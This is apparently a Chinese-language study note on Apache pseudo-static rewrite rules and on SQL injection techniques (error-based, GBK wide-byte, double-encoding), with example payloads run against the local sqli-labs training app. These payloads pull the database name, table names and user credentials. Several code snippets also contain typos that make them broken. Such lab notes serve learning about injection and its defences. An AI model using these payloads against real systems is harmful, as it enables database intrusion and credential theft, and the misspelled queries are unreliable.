10.24伪静态页面、报错注入、宽字节注入

伪静态页面的搭建

http://www.test.com/index.php?id=1(容易受到攻击)

http://www.test.com/index.html(静态页面只能展示数据,安全性很高)

http://www.test.com/1.html

http://www.test.com/add_1.html

步骤

Step1:需要开启站点的重写机制,修改配置文件,找到

LoadModule rewrite_module modules/mod_rewrite.so,去掉前面的注释符,然后需要apache支持解析htaccess文件,修改配置文件,找到“AllowOverride None”,将None改为All,重启apache.

Step2

新建htaccess文件,然后写入“重写规则”

RewriteEngine on

RewriteRule ([0-9]{1,})\.html$ index.php?id=$1//重写规则。([0-9]{1,})$匹配$1的值,\是转义符 html$表示URL中是以html结尾

页面http://127.0.0.1/weijingtai/2-add.html

匹配规则RewriteRule ([0-9]{1,})-([a-zA-Z]{1,})\.html$ index.php?id=$1¶=$2

请求页面为:http://127.0.0.1/weijingtai/index.php?id=2¶=add

 

报错注入的步骤

Step1:测试注入点

Step2:获取数据库信息(当前数据库)

http://127.0.0.1/sqli-labs-master/Less-5/?id=2' and extractvalue(1,concat(0x7e,(database()),0x7e))%23+

Step3:表名

Select tisinct table_name from information_shcema.tables where table_shcema=database() limit 0,1

Step4:获取指定表中的字段

Step5:获取内容

Select concat (username,’|’password)from users limit 0,1

接下来去解密即可

宽字节注入

mysql_query("SET NAMES 'gbk'");//设置字符集编码

mysql_set_charset("GBK");//设置字符集编码

mysql_reak_escape_string()对参数进行过滤转义,具有类似功能的函数有:addslaches()mysql_escape_string()php5.3后废除)、魔术引号(magic_quotes_gpc)模块,针对特殊符号 ‘ “ \ null < >

GBK编码:针对汉字的一种编码方式,使用两个字节编码一个汉字

http://127.0.0.1/sqli-labs-master/Less-32/?id=-1%81' union select 1,user(),3%23

 

Sqlilab32 宽字节

http://127.0.0.1/sqli-labs-master/Less-32/?id=-1%81' union select 1,2,3%23

防御:使用mysql_set_charset(“GBK”);使用mysql_escape_string进行转义

PDO宽字节注入

PDO:连接数据库->设置模版>绑定数据>执行SQL语句

$conn->setAttribute(PDO::ATTR_EMULATE_PREPARES,false);

二次编码注入

浏览器会对from表单中数据进行一次URL编码,到达服务器之后会默认解码

PHPurl解码函数有:urldecode()rawurldecode()

http头注入

猜你喜欢

转载自www.cnblogs.com/x98339/p/11733366.html